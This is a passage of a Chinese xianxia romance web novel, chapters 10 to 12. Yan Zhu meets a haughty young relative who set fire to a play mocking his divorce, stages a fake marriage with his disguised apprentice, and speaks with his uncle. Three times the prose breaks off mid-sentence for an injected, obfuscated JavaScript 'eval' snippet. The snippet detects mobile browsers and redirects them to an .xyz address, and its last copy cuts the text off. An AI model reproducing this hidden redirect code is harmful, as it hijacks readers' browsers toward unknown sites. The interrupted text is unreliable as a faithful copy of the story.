晏烛以前下山的时候也去看过戏,大都是些老掉牙的才子佳人故事,第一次在戏台上看见熟人和自己,脚趾都忍不住在地板上抓了几下。 更让他想撞头的是这故事还不是讲他跟闻肃尘的,而是方才出场的男子,也是这戏的主角之一。 故事中的他是门中弟子,一直跟在闻肃尘身边,是闻肃尘的左臂右膀,这天他来送文件,却听见了闻夫人提出和离的事。 是的,他在故事里甚至都没有自己的名字。 故事里的他就是个恶毒反派,仗着自己的身份对闻肃尘颐指气使,知道闻肃尘和主角暗生情愫后又各种找麻烦,这次提出和离则是因为闻肃尘答应净身出户,只为和心上人在一起。 晏烛一开始的期待完全变成无语,他拐了一下身旁的祁然音,问道:“这到底谁写的?真的有人爱看这种烂剧情吗?” 说完就被祁然音“嘘”了一下,他指指四周一群看得开心的人,低声道:“大家代入的是主角,又不是你。” 晏烛愣了一下,也跟着想了想,喜欢的人明明哪哪都好,却在恶毒反派那里受尽苦楚,两人偶尔的温情成了对方的支撑,但面对反派一而再再而三的作妖,心上人终于忍受不了,选择放弃一切和自己在一起。 从主角的角度来说的确还行,而且这戏最主要的还是两人在一起之后对抗全世界的事,幻术效果豪华无比,主角一剑出去甚至比闻肃尘的剑法还酷炫,的确好看。 晏烛抱起手:“没想到我们和离的事这么快就传开了。” “之前就一直有的吧。”祁然音道,“毕竟许多人都不看好你们。” 晏烛更不爽了:“什么闻夫人,他们是真不知道小师兄为什么姓闻吗?” 祁然音看他气呼呼的,忍不住笑了:“那怎么办?要继续看吗?” 晏烛皱眉犹豫起来,倒是一旁的阿福说道:“不看了,这戏就是胡编乱造,编也编得毫无水准。” 空浮却道:“我倒觉得可以看看,戏剧源于生活,说不准闻肃尘身边真有这么个人呢?” 阿福闻言撇了他一眼:“我师父比那人好看。” 空浮当场闭嘴。 原本还在郁闷的晏烛听见两人拌嘴顿时笑出声,伸手摸摸阿福的头,说:“那我们去别的地方走走,这船上好玩的东西应该……” 他话还没说完,就听见戏台上传来一声尖叫,原本用幻术制造的花海忽然起了火。 有人立刻施法想用水将火浇灭,但那似乎不是普通的火,遇水后反而烧得更旺了。 台上的人修为似乎也不高,根本跑不快,眼看着人就要被烧到了,晏烛只能解下腰间的葫芦朝那边扔过去 :“梨花,三十二。” 梨花没有出现,但葫芦挂件却“砰”一声变成人那么高,紧接着葫身一倾,就有一阵烟雾从小口中流了出来。 刚刚还浇不灭的火在碰见那烟雾后瞬间就熄了。 葫芦见状又一点点往前飘去,直到烟雾将火焰完全吞噬才悠悠然回到晏烛身旁,“砰”一声变回梨花的样子,蹭了蹭他的脸颊,细细软软地喊他:“小烛小烛!” “你做得很棒。”晏烛弯着眼摸摸梨花的脑袋,又从乾坤戒里掏出几块漂亮的宝石,跟桌上的零食一起递过去。 梨花见状大张着嘴把这些全部吞进嘴里后便捧着脸开开心心变回挂坠了。 晏烛把葫芦挂回腰上,这才将目光放到场内,他没说话,而是戳了戳一旁的祁然音。 祁然音无奈地看他一眼,往前站了一步,开口道:“是谁放的火?” 这话问得太直接,所有人都觉得凶手应该不会承认,但没想到他话音才落,就有人跳了出来:“是我放的。” 说话的人穿着一袭盈盈长裙,梳了个俏皮的发髻,看着是个挺可爱的小姑娘,只是她脸上的倨傲让她看上去不大好惹,更别说她那叮叮当当从头带到脚的金银法器和身后四个修为并不低的侍从,一看就知道是谁家娇惯的小姐。 祁然音看见她这来头忍不住皱了一下眉:“你何故伤人?” 小姑娘却是“切”了一声:“伤什么人?那火就是幻象,只会让人痛,不伤人。”她说着,目光扫过场内的人,最后落在戏台上,“以后再让我看见这种抹黑我家里人的戏,我还烧你们。” 祁然音闻言一愣,他也看了戏,里头登场的就那么几个人,这小姑娘说有她家里人? 祁然音朝她拱手:“在下庐临祁氏子弟,敢问姑娘芳名,仙乡何处?” 小姑娘一挑下巴:“凤山晏家。” 几人顿时陷入沉默,同时看向晏烛,但在场有不知道情况的,还小声问其他人:“晏家跟降雪仙尊有什么关系?” 晏烛:“……” 没想到居然是他亲戚,一时间耳朵都有点发烫,小声解释道:“我不认识她。” 他娘还在的时候他倒是经常跟着回去,但娘亲走后他就很少跟那边的亲戚走动了,现在也就偶尔跟舅舅通几封信,小辈是真的一个不认识。 而且还是一个会在大庭广众烧人戏台的小辈。 晏烛深呼吸几口,正准备去跟管事道个歉,却见阿福已经先跑过去,这会已经在跟人谈赔钱的事了。 关键时刻徒弟还是靠谱的。 但那小姑娘并不靠谱,看见这情况还皱眉,气势汹汹就想去找阿福问话。 晏烛见状连忙跑过去拉住她,问道:“你是晏家哪房的?” 小姑娘没搭理他,倒是跟着他的随从出手拦了他一下。 晏烛只好继续问:“晏盛云是你什么人?” 小姑娘这才看向他:“你认识我太爷?” 晏烛:“……” 他在乾坤戒里翻了翻,翻出一块腰牌来,是用凤山特产的玉石打造的,晏家人都有一块。 小姑娘接过来,那牌子一面刻着一个“晏”字,另一面则是详细写了玉牌持有人的身份,如果不信还能用这玉牌验明身份。 等看完上头的字,小姑娘表情也僵住了,脸颊以肉眼可见的速度染上绯红,刚刚那股子嚣张气焰也消失了,低着头将玉牌递给晏烛,磕磕巴巴行了一礼:“表叔公。” 晏烛的年纪其实不小了,在明心宗的辈分也很高,但那些弟子都叫他长老所以他没什么实感,现在这么一声叔公叫得他顿时有种自己很老的感觉。 晏烛虚弱地点点头:“你叫什么?怎么会跑到这边来?” 小姑娘乖巧答道:“我叫晏之桃,本来在丰凌洲等秘境开,但是太爷听说您和离的事后便吩咐我去明心宗接您回凤山。” 没想到还有自己的事,晏烛愣了一下:“舅舅这么快就知道了?” 晏之桃点头:“太爷可生气了,说降雪仙尊忘恩负义,修为大成了就和离,太过分了。”她说着就从怀里掏出一封信来递给晏烛。 晏烛更愣了,他还没反应过来舅舅的意思,阿福已经拦在他面前了:“他不会跟你走。” 晏之桃见有人阻拦,表情也不大好:“你又是什么人!走开!” 看阿福那护食样子,晏烛只能拍拍他的肩膀以示安抚,然后接过信拆开,就见信中果然和晏之桃写的差不多,不同的是舅舅还提起给他准备的住处以及药园子,话里话外都是想让他跟闻肃尘从此江湖不见的意思。 晏烛叹了口气,看向晏之桃:“我跟小师兄不是你们想的那样。” “那也可以去凤山。”晏之桃道,“以后想见再见就是。” 晏烛又道:“可我是明心宗弟子。” 晏之桃摇头:“太爷说您没有拜入门,既然随了太姑婆姓,那就是我们晏家的人。” 晏烛哑然,他能成为明心宗弟子,的确只因他是掌门之子,否则以他的资质,根本入不了门。 “我在明心宗已经住习惯了。”晏烛道。 “到了凤山也会习惯的。”晏之桃见晏烛还在犹豫,便问道,“叔公你是不是不想回去?” 晏烛当然不想回去。 他只是出来玩玩散散心,玩够了还是要回去的,晏家虽然都是他的亲人,但他几乎都不认识,他不想回去。 但这种话说出来,舅舅怕是会伤心。 母亲走后舅舅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16234892|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕他在明心宗过得不好,提过接他去凤山,他当时以成亲为借口拒绝了,这些年舅舅三不五时也会提起这事,他还是那套借口,可他现在和离了。 晏烛微微蹙眉,解释道:“没有的事,我就是……没明白你们的意思,我跟小师兄好好的呢。” 晏之桃奇怪地看他。 话起了头,后面的就容易编了,晏烛硬着头皮继续说道:“我们就是吵了两句嘴,气头上乱说的,也不知道谁乱传消息。” 晏之桃并不信:“您和我回凤山,自己跟太爷说吧。” 晏烛闻言连连摇头:“我、我这趟也是为了丰凌洲的秘境,去不了。” “就是个低级秘境。”晏之桃道,“叔公喜欢什么,凤山都有,想闯秘境,凤山也有。” 晏烛又道:“可我是跟朋友一起出来的,不好丢下他们。” 晏之桃大方表示:“可以请他们凤山做客。” “那……那……”晏烛没想到这丫头这么执着,有点急了,“那、那……那小师兄也能去吗?” 晏之桃懵了一下才反应过来晏烛说的小师兄是指谁,疑惑道:“降雪仙尊也在这?” 晏烛目光扫到一旁,最终落在阿福身上。 他指着那张有七八分相似的脸,说:“这不是吗?” 晏之桃顺着他手指的方向看过去,落在方才拦住自己的人身上,疑惑道:“他修为都不如……” 话音未落,她便感觉有一股巨大的威压落下来,像是要把她的神魂都碾碎,但只是瞬间的威慑,并没有实际性的伤害。 这是对她的警告。 晏之桃懵了。 她迟疑地看着那张脸。 闻肃尘虽然名声响,但其实很少在公开场合露面,晏之桃只在一个朋友的留影石那远远看过一次他很多年前参加问剑大典的影像,剩下的就只有画像了 的确很像,而且那个神魂…… 看晏之桃呆住,晏烛以为她在怀疑,便小声解释了一句:“他太有名了,不好直接露脸,所以装成我徒弟陪我出来玩。” 说完,他还给阿福递了个眼神,示意他配合一下演出。 闻肃尘都没想到自己穿着马甲出门,结果马甲还要伪装本体,但不装,晏烛八成要回凤山。 最重要的是,这是晏烛的要求。 他只能端起本体平日里的姿态,朝晏之桃微微颔首,表情之淡漠姿态之高冷一下就把晏之桃唬住了。 晏之桃已经开始打退堂鼓了,晏烛长了一张好亲近的脸,脾气也很好说话,所以她态度才敢那么强硬,但对着闻肃尘她就不敢了。 可…… 想到家里的太爷、爷爷、爹爹,还有那一堆同样不好说话的长辈,晏之桃瞬间感觉自己像被狠狠夹住又无处可逃的饼馅。 纠结了一下,她决定使用拖字诀,朝晏烛说道:“那我回去问问太爷!” 说完就要溜,却被阿福叫住了。 晏之桃闻言一僵,立刻往晏烛身后躲。 晏烛看得好笑:“刚刚对着他不挺嚣张?” 晏之桃想哭:“是我不自知天高地厚。” 她正想求晏烛帮自己说说好话,面前却被递了个乾坤袋。 晏之桃一愣,看向阿福。 阿福本想继续当哑巴,但看晏之桃茫然的样子,犹豫了一下,还是解释道:“这趟只是出来游玩,没带什么,以后再补一份见面礼给你。” 晏之桃接过福袋朝里看了一眼,顿时觉得这叔婆好亲切! 她把福袋收好,开开心心地走了。 晏烛松了口气,又看向阿福,问道:“你给她什么了?” “师伯给我的法器,等下回见到他我再要新的。”阿福道,“师父我做得对吗?” 晏烛朝他竖起拇指:“做得很对,不过演得不像,师兄话没那么多,他顶多就说两个字。” 阿福:“……” 他刚刚的确只想说“给你”。 晏烛很了解他,可他不像自己。 照这个样子,晏烛大概这辈子也发现不了真相。 11.第 11 章 因为晏之桃的事,晏烛只能提前跟他们离开画舫,回去的路上晏烛还在交代阿福要把戏演好。 阿福看他这么纠结,问道:“师父何不直接说明白,您不想回去,晏家不会逼您的。” 晏烛却是摇头,把舅舅的事说了。 “我不想让舅舅伤心,但娘还在的时候不回去,我也不回去。”晏烛说得含糊,听上去也有点歧义,像是他娘和晏家有什么矛盾似的,于是只能多补充了一句,“晏家很好。” 祁然音跟空浮不懂,但阿福却是明白的。 他拉住晏烛的手,说:“那我们现在就走。” 晏烛还是摇头,说:“我想至少跟舅舅说清楚,他只是关心我。” 虽然这种关心其实没有那么重,毕竟晏烛和他相处的时间特别少,舅舅一直挂心他,说到底还是因为他娘。 他听娘说过,舅舅很疼她。 阿福只好道:“那我继续假扮师伯?” 晏烛正要点头,就听空浮说:“我也可以。” 晏烛奇怪地看他一眼:“这种事你也要争?” 空浮点头,假扮闻肃尘,还是没和离的闻肃尘,那跟晏烛谈恋爱有什么区别? 但晏烛拒绝了:“你没见过他,扮不好他。” 空浮笑了:“演哑巴有什么难的?” 晏烛:“……我舅舅肯定不会当面问我,但会让小桃偷偷跟着,那时候总不能一句话不说。” “他们跟闻肃尘又不熟。”空浮道,“而且你们都和离了,你还想给他在长辈面前留好印象?” 晏烛怀疑空浮刚刚在梦游,无语道:“如果舅舅觉得他对我不好,非要我去凤山呢?” 空浮觉得去凤山挺好,比明心宗容易去。 他正想劝一句,就听晏烛又说:“而且你是魔修,怎么好扮小师兄。” 空浮道:“你徒弟的境界不够。” “就说小师兄故意的呗。”晏烛道,“实在不行我用法器伪装一下。” 空浮皱眉,他还是想接这个工作,但论对闻肃尘的熟悉程度,他的确完败。 “那我能帮你点什么?”空浮不死心问道。 晏烛想了想,说:“你可以帮我徒弟易容。” 空浮却不乐意:“反正他也知道情况,何必多此一举。” 晏烛皱眉,说:“就算知道了,那画面也不大好看,你要是不愿意,我自己来也行。” 空浮没招了,正想答应,阿福却先他一步:“他又不认识师伯,还是师父你帮我吧。” 晏烛答应了。 他易容法术不强,但他有法宝。 回去后晏烛就从乾坤戒了翻出来一个,不止能易容,还能隐藏修为跟气息的法器,是他准备逃命用的。 将阿福易容成闻肃尘的样子后,晏烛又交代了几句:“在外面要装得像一点,最好再表现出一点恩爱。” 伪装很容易,但恩爱? 阿福皱眉:“什么样算恩爱?” 一句话问倒晏烛。 他虽然有结婚的经验,但没有恋爱经验,回答不了这个问题。 于是他看向祁然音:“帮帮我。” 祁然音以为他要跟自己取经,当即点头。 “没问题……” “你跟空浮给他示范一下。” 两人的声音几乎同时重叠,等听清晏烛的要求后,祁然音人都麻了:“说不行吗?!” “有示范更容易吧?”晏烛解释道,“小师兄教阿福的时候,都是先演示一遍的。” 祁然音无语:“练剑跟恋爱有什么不同吗?” 晏烛迟疑:“不都是学吗?” 祁然音沉默了。 片刻后,他说:“你们两个会和离,也不全是他的错。” 照这两人的情况,更有可能是在互相伤害。 祁然音木着脸道:“没吃过猪肉你没看过猪跑吗?想恩爱点最简单的不就是亲亲抱抱买买买?” 晏烛闻言耳根一热:“这就算恩爱了吗?” “不然呢?”祁然音看他,“你跟他难道经常这样?” 晏烛又想了想,摇头。 他们除了在床上,很少有什么亲密接触,甚至很少见面,因为闻肃尘很忙。 买买买也很少。 闻肃尘私库里什么都有,并不需要特地给他买什么。 晏烛看向阿福:“亲亲抱抱还是算了,我们可以去买点东西。” 阿福闻言迟疑了一下:“那跟我们平时有什么不一样吗?” 一句话再次问倒晏烛。 他买东西的时候,阿福都会抢着付钱以表孝心,晏烛也从来不拦着他表现,这样看的确是没什么区别。 犹豫了一下,晏烛说:“那牵手。” 阿福便很轻地挑了一下嘴角。 晏烛看得一愣。 这张脸他看了很多年,熟悉到他闭着眼都能在脑海中描摹出他的每一处细节,但却很难想象出这张脸上太多的表情。 喜怒哀乐,闻肃尘都很少表达。 他总是面无表情,五官好像雕刻上去似的,几乎都不怎么动,当然也不会生气,但门内许多弟子都怕他,因为他也很少笑,少到晏烛回忆起他上一次笑的时间,居然是以百年算起的。 唯一还算得上像人的地方,大概就是在床上的时候。 很偶尔的时候,在一触即发的时候,他会忽然停下来吻他,那是他少有的、能从闻肃尘眼中窥见一点欲望的时候。 赤\裸的,浓烈的,格格不入的,和闻肃尘完全不一样的欲望。 晏烛忽然有点新奇:“再给我笑一个。” 阿福便听话地挑起嘴角。 晏烛顿时弯起眼:“这多好看呢?小师兄平时要是肯多笑笑就好了,成天板着一张死人脸,也不知道给谁看。” 阿福便不说话了。 只要晏烛喜欢,他可以多笑笑,但闻肃尘……不合适。 好在晏烛并不纠结这件事,只说:“你这两天多笑笑。” 阿福一口答应。 晏烛第二天就带着他上街了。 虽然晏烛跟晏之桃说是因为闻肃尘太有名才“伪装”出行的,但事实上阿福就是顶着他的脸上街,也没有引起什么骚动。 降雪仙尊名气大,都知道他生得好,但具体多好,知道的人却不多,偶尔碰上一两个,也不会上来打招呼。 毕竟他冷漠也是出了名的。 感觉到后面有人跟着,晏烛得意地跟阿福说:“你看,我就说她会偷偷跟来,说不定舅舅现在也在看呢。” 阿福脊背顿时挺直了一点,拉着他到走到最近的一个铺子,但站定后,他又不知道该说点什么了。 祁然音说给他买买买,意思是都买了? 他正想开口,就见晏烛从货架上挑出一个泥偶,是民间很流行的磨喝乐,不过比那些胖娃娃精致很多,真人等比,有一些关节还能动,身上的衣服也是很好的料子缝制的,看上去就是十二三岁孩子的样子。 阿福正想问他要不要买,就听晏烛问:“像不像你?” 阿福凑过去看了一下,脸描画得很精细,也很好看,但并不像,唯一扯得上关系的是偶人脑袋上那对毛茸茸的耳朵。 晏烛指着耳朵说:“看衣服,跟你一样是白色的,就是没有尾巴。” 他话说完,老板就走了过来,笑吟吟道:“有的,盖在衣服下边了。”她说着抬手掀开偶人的外衣,就见下头真的有一条毛茸茸的尾巴,“这是用磁石做的,可以拿下来,耳朵也可以。” 老板说着将那条白色尾巴拿下来,又换了几条别的颜色,是一只很百变的猫猫。 晏烛很是喜欢,又问道:“店里有别的衣服吗?” 老板立刻带着他去放衣服的地方,解释道:“店里的偶人都是一样的尺寸,衣服也通用。” 晏烛把那小人递给阿福,便转头去挑衣服。 阿福站在旁边看着那人偶,嘟囔道:“这和寄灵人偶有什么不同,寄灵人偶还会动呢。” “那寄灵人偶和人又有什么不同,人也会动。”晏烛拿了两套衣服放到旁边,笑道, “小一点的,就有不一样的可爱。” 阿福无法理解。 那些胖乎乎的磨喝乐他还能看出一点可爱,但这肩不能扛手不能提模样也和真人相似的可爱在哪? 但这话他没问,反正晏烛喜欢就行。 晏烛买了一堆衣服,然后抱着偶人去柜台。 阿福一边付钱一边盯着那安然坐在晏烛怀里的偶人,眉头忍不住拧起来。 晏烛以前出门都是抱他的。 “师父。”阿福轻声说道,“我不想走路了。” 他以前没说过这种话,晏烛一开始以为他是累了想回去,但看阿福一直盯着自己怀里的偶人,又觉得好像不是。 想了想,他忽然笑了,朝他挑挑眉:“吃醋呀?” 阿福抿起嘴不说话。 以前他用那张和闻肃尘的脸做这种表情,晏烛就没什么抵抗力,现在一看这个样子,他就更没招了,只能哄道:“回去就放下。” 阿福把手伸出去:“可以收起来。” 晏烛一脸“拿你没办法”的样子,把偶人收进乾坤戒里。 看他这样,阿福反倒有点心虚了。 不就是个死物,有什么好吃醋的。 想到这,他又看向老板:“能定做吗?” 老板愣了一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248498|181834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋即点头:“那是自然,不过定做需要更多时间,价格也贵上许多。” 阿福并不缺钱,当即拿了袋灵石给老板,说:“照着我们两个的样子做两个,余下的就做成衣服吧。” 老板应了一声,让伙计用留影石将两人的模样刻下来,这才打开袋子看了一眼,旋即表情一僵:“您这是要把我这店盘下来呢。” 阿福犹豫地看了晏烛一眼,看他表情也有些僵硬,便说道:“存着,以后店里的新品都准备两份,做好了送到明心宗焚雪峰。” 他说完便拉着晏烛离开了,晏烛跟在后头,笑眯眯道:“原来然音说的是这个意思。” 阿福疑惑地看向他。 晏烛解释道:“如果是小师兄,大约真的会把店买下来。” 阿福闻言动作一顿。 他刚刚的确想过,只是他觉得晏烛应该不会喜欢这样。 “没有的事。”阿福垂下眼,小声道,“师父说不喜欢,师伯就不会做。” 晏烛一愣。 “我才不会跟小师兄说那种话。”晏烛撇撇嘴,又很小声说了句什么。 阿福忽然有点怪自己耳朵太灵了。 他听见晏烛说,他们是不一样的。 晏烛那么喜欢阿福,那他肯定不喜欢闻肃尘。 他看看晏烛,看看和晏之桃一样躲得远远的空浮,又看看四周那些看见晏烛后蠢蠢欲动的人,忽然生出一个大胆又畜生的想法。 但那个想法只是一瞬间便消失了。 他们是师徒。 阿福目光重新落回晏烛身上,问道:“还想去哪?” 晏烛想了想,小声道:“去月老庙吧,我们关系好肯定会去那的吧?” 阿福点头。 月老庙就在镇子最中间,建得跟座宫殿似的,一眼就能看见,路都不用问。 庙里人很多,但地方大,并不挤。 他们进门就看见几棵巨大的菩提树,树上挂满了红色的带子,像开了一树的红花。 晏烛也不知道来到这里要先做什么,正准备当个学人精,随机找对情人跟上的时候,阿福凑上来轻声说道:“先去上香,上完香可以捐功德,捐完会送你红绳跟带子,绑完可以去算算姻缘,这里的饭也好吃。” 晏烛愣了一下:“你怎么知道?” “问的。”阿福道,“走吧。” 晏烛懵懵地“噢”了一声,跟上去,脑子里还在想他徒弟可真贴心。 以前小师兄带着门中弟子一起去其它门派的时候,也会把行程安排得很仔细,门中弟子只要跟着他走就行,虽然时间规则定得很死没什么自由,但不用自己考虑,也算一件好事。 而阿福学会了,还没有那么多规矩! 晏烛笑眯眯问他:“你还跟小师兄学了什么呀?” 阿福答道:“师父想我学什么我都学。” 晏烛更开心了:“不要学他的死板,不可爱的,将来会找不到喜欢的小猫。” 阿福便不说话了,跟他一起到了月老庙中,看着一群人跪在蒲团上虔诚许愿,两人脸上也多带了几份肃敬。 他们买了香,找了两个空蒲团跪下。 但晏烛并不知道自己要求什么,便看向身旁的阿福,问道:“你要求什么?” 阿福想也没想:“跟心上人白头偕老。” 晏烛一愣:“你有心上人了?” 阿福却没答,而是闭上眼开始虔诚许愿。 晏烛便也不再骚扰他,也跟着举起香拜了拜,但什么都没想,只是在香落炉的时候,很短暂地想到闻肃尘。 闻肃尘会陪他来这种地方吗? 上完香,晏烛看阿福还在认真许愿,忍不住笑了笑,走到外头去等着了。 刚跨出门,一只毛茸茸的橘猫就走过来,抬着小脑袋看他。 晏烛挑了一下眉,弯腰摸摸它的脑袋:“你这小猫修为不低啊,有对象了吗?” 橘猫蹭了蹭他的腿,软软“喵”一声:“给我好吃的就告诉你。” 晏烛笑了,掏出一个妖修很爱吃的灵果来递给它,等它咬下一口才说道:“等你吃完给你介绍一只漂亮的小公猫。” 橘猫一听毛瞬间都炸了,把灵果往晏烛跟前推,嘴里发出低低的喵呜声,晏烛没听懂,但估计它骂得很脏。 他哈哈笑起来,又拿了几个灵果给它,伸手撸了一把毛脑袋,说:“玩去吧。” 说完便准备回去找阿福,却正好看见他攥着一大把红带子走过来。 晏烛见状笑道:“你这是捐了多少?” 阿福没回答,只是走过来将带子递给他。 “都给我?”晏烛愣了一下,伸出手想接,一条红线就绕到了自己的手腕上。 12.第 12 章 阿福这动作实在有些突兀,晏烛一时没反应过来,等抽回手时,那红线已经系在他手上了。 如果是平时,晏烛并不会多想,但对面偏偏顶着闻肃尘的脸,这让他不由得感到一股说不出怪异,皱眉道:“阿福,你这是做什么?” 他没说什么重话,但他知道,阿福那么聪明,能听明白。 “是帮师伯求的。”阿福低着头,解释道,“不可以吗?” 晏烛一听心便软了,还有点愧疚。 他怎么能怀疑自己的徒弟? “当然可以。”晏烛垂下眼,看着那条红线,“你不希望我们分开?” 阿福却是摇了摇头。 有些矛盾,但晏烛却想明白了。 在阿福心里,他跟闻肃尘就像他的双亲,两人虽然和离了,但又不是闹得要死要活的关系,阿福虽然支持他的选择,但作为孩子,多少是存点希冀的。 想到这,晏烛很轻地叹了口气,又伸手揉了他一把,说:“别想太多。” 也不知道是说两人的关系,还是单纯说阿福。 阿福闻言又凑上来,问他:“师父,你为什么要跟师伯和离?” 晏烛笑道:“因为他很无趣。” 这是他跟祁然音说的,算是一部分原因。 阿福道:“可你们成亲很多年了。” “所以才更受不了呀。”晏烛笑道,“就是日积月累的,有一天忽然就觉得不合适了。” 阿福微微蹙眉,他其实还有别的话说,但他的立场和“年纪”都让他说不出什么,最后只能问道:“那你们刚成亲的时候,师伯不是现在这样吗?” 晏烛愣了一下。 他们成亲……都是多久以前的事了。 虽然外人总说他们两个是家长硬凑到一起的、没有感情的道侣,但其实很少人知道,他们两个很小就认识了。 闻肃尘到明心宗那年十二岁,而他四岁。 爹那些天很开心,说他找到了一个万里挑一的徒弟,说他根骨好,说他有潜力,说他将来大有可为,反正就是很厉害。 晏烛那时候还不太懂这些,他只记得新来的小师兄高高的,但是很瘦,表情很凶,很少说话,但很听话,很像一个寄灵人偶。 小师兄每天按时起床,看书,然后练剑,到点了就吃饭,然后练剑,等吃了晚饭,继续练剑,直到睡觉,然后第二天继续循环。 只有寄灵人偶才会这样日复一日地做着一样的事。 所以他有时候会像对着寄灵人偶一样,偷偷跑去拍拍小师兄的后背,一般寄灵人偶会停下来等他吩咐事情,等一会等不到指令就会走,但小师兄不会,他只会往旁边躲开。 后来这件事被娘知道了,她就不让自己去了,她说小师兄将来会变得很厉害,不能被人打扰,所以他不再接近,但还是会每天早饭的时候捧着碗坐在门槛上远远地看他练剑,一看就是好多年。 直到某一天,娘忽然将他喊到床前,问他:“小烛,你愿意跟肃尘结成道侣吗?” 那年他一百多岁,靠药物堆起来的境界已经到了极限,如果再找不到更好更珍贵的药物,他就会像个普通人一样开始衰老。 他知道娘一直在为这件事操心,但不知道她究竟找到了什么办法,只隐约猜到跟小师兄有关系。 “不愿意。”晏烛说,“娘,我已经比普通人要多活许久,很幸运了,我自己的命,我认的。” 晏追云听见这句话,眼里就流出了泪。 她那时身体已经很差了,原本年轻的脸上出现了皱纹,头发也开始泛白,是寿命到头的迹象。 而她的儿子很快也要和她一样,甚至可能走得比她更早。 “是你爹混蛋,是娘对不住你。”晏追云小声说着,“娘舍不得你,舍不得你。” 这些话晏烛听了许多年,但许是晏追云那时的模样太过脆弱,他忍不住也跟着红了眼眶,拉过她的手,笑道:“能一直陪着娘,我很开心。” “娘不要你陪着。”晏追云抽回手,将他的手推开了一点,声音变得温柔了一些,像是在哄尚且幼年的孩子,“我已经和他商量好了,他愿意和你共享寿命,作为交换,你要把灵宝给他。” 晏烛皱眉:“他有一把很好的剑。” 晏追云却是摇头,说:“你现在还不懂,总之,这件事就这么定下了,好不好?” 晏烛看着娘那双担忧的、愧疚的眼睛,最终还是点了头。 至于他娘是怎么跟他爹商量的他就不清楚了,反正他跟闻肃尘的婚事很快就定了下来。 不过成亲了也很清白,洞房花烛夜时只是躺在一张床上,连话都没说两句。 闻肃尘对他的态度也一如既往,不怎么和他说话,不是在练剑,就是在历练,唯一不同的,就是他只要有时间都会回他们的住处,逢年过节或者特殊的日子,还会给他准备一份礼物。 除此之外晏烛的生活没有太多变化,只是他不用再为随时到来的死亡忧虑,他有了很多很多时间,可以去做自己想做的事。 闻肃尘……则是换了一把剑。 晏烛目光落在阿福腰间:“这是小师兄很久以前用的剑。” 阿福愣了一下:“师父记得?” 晏烛点头:“我当时就觉得……这把剑不适合小师兄。” 这把剑通身漆黑,半点光泽也无,却在上面镶嵌了许许多多漂亮的宝石,看上去像一把风骚的魔剑。 他觉得这把剑并不适合小师兄。 所以才有了醉袖。 “也不适合你。”晏烛道,“等回去,我再给你找一把新的。” 阿福却摇头:“习惯了。” 他一共就用过两把剑,这把黑色的并没有名字,也不顺手,只是师父给他了,他就用,后来换了醉袖,这把剑再没拿出来了,直到有一天晏烛说要给阿福找一把剑。 晏烛便没再多说什么,剑就像剑修的老婆,适不适合他们自己说了算,外人没资格置喙。 这个想法刚冒出来,晏烛忽然又觉得很怪,如果按这样算,那这把剑就是二婚了? 他这么跟阿福一说,说完自己就笑了。 阿福闻言也是一愣,旋即有些一言难尽地看着他:“那师伯也是。” 晏烛:? 对哦,这样算他也是闻肃尘二婚的对象。 晏烛不愿再想,干脆拉着阿福去饭堂。 这里的饭堂也是个营生,在这里做事的人可以免费吃,客人只要交钱就行了,价格比外头的客栈要贵一点,不过味道很好。 晏烛还挺喜欢的。 吃完饭两人又买了点庙里的特产便回去了。 回到客栈的时候,晏之桃已经在等他了,手里还拿着一个通讯法器。 “表叔公。”晏烛一脸乖巧地喊人,将手中的东西捧到晏烛面前,“太爷想和您说话。” 晏烛接过通讯法器,拉着阿福挑了个舒服的地坐下,将法器放好,抬手启动法器。 一个男人的影像便出现在了三人面前。 男人表情很温和,如果仔细看会发现他的眉眼跟晏烛很像,他便是晏烛的舅舅,晏盛云。 他隔着法器,仔仔细细地打量着晏烛,过了好一会才开口:“小烛。” 晏烛点头,乖巧地喊了一声“舅舅”,阿福立刻跟着喊了一声。 舅甥俩已经很多年没有见面了,虽然偶尔会通信,但真的“面对面”了,却又不知道说什么。 沉默了许久,晏盛云才问道:“真的不打算回来?” 晏烛点头,轻声道:“我在明心宗生活得挺好的,等之后小师兄有时间了,我们再一起去看舅舅。” 晏盛云闻言叹了口气:“那些传言……?” “就是谣传,我跟小师兄都在外头,也是这两天才知道。”晏烛解释道,“我们挺好,您不用担心。” 晏盛云便点点头,又不知道该说什么了。 他看着眼前乖巧的孩子,想到了自己已逝的妹妹,还是忍不住提了一句:“你娘不是个会受委屈的性子。” 晏烛点头:“我知道。” 晏盛云又看向闻肃尘。 比起晏烛,他跟闻肃尘就更没话说了,他心里也清楚,今天晏之桃跟着去的事他们两个肯定知道,但这是外甥的选择,他也不好置喙什么,只是点了一下头,便又转回去看晏烛:“小桃说你们要去丰凌洲的秘境?” 晏烛点头。 晏盛云道:“正好小桃也要去,你们一起,也好有个照应。” 晏烛本来就是去玩的,对他来说多一个人少一个没有区别。 晏之桃倒是很开心,她对这个叔公还是很有好感的,长得好看脾气好还很有钱!虽然身边还跟了个冷面神一样的叔婆,但她又不用跟闻肃尘相处。 事情定下后,一行人又在月老镇上玩了几天便启程前往丰凌洲。 晏之桃自己也有飞舟,但她一想晏烛那么有钱,飞舟肯定也是超 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 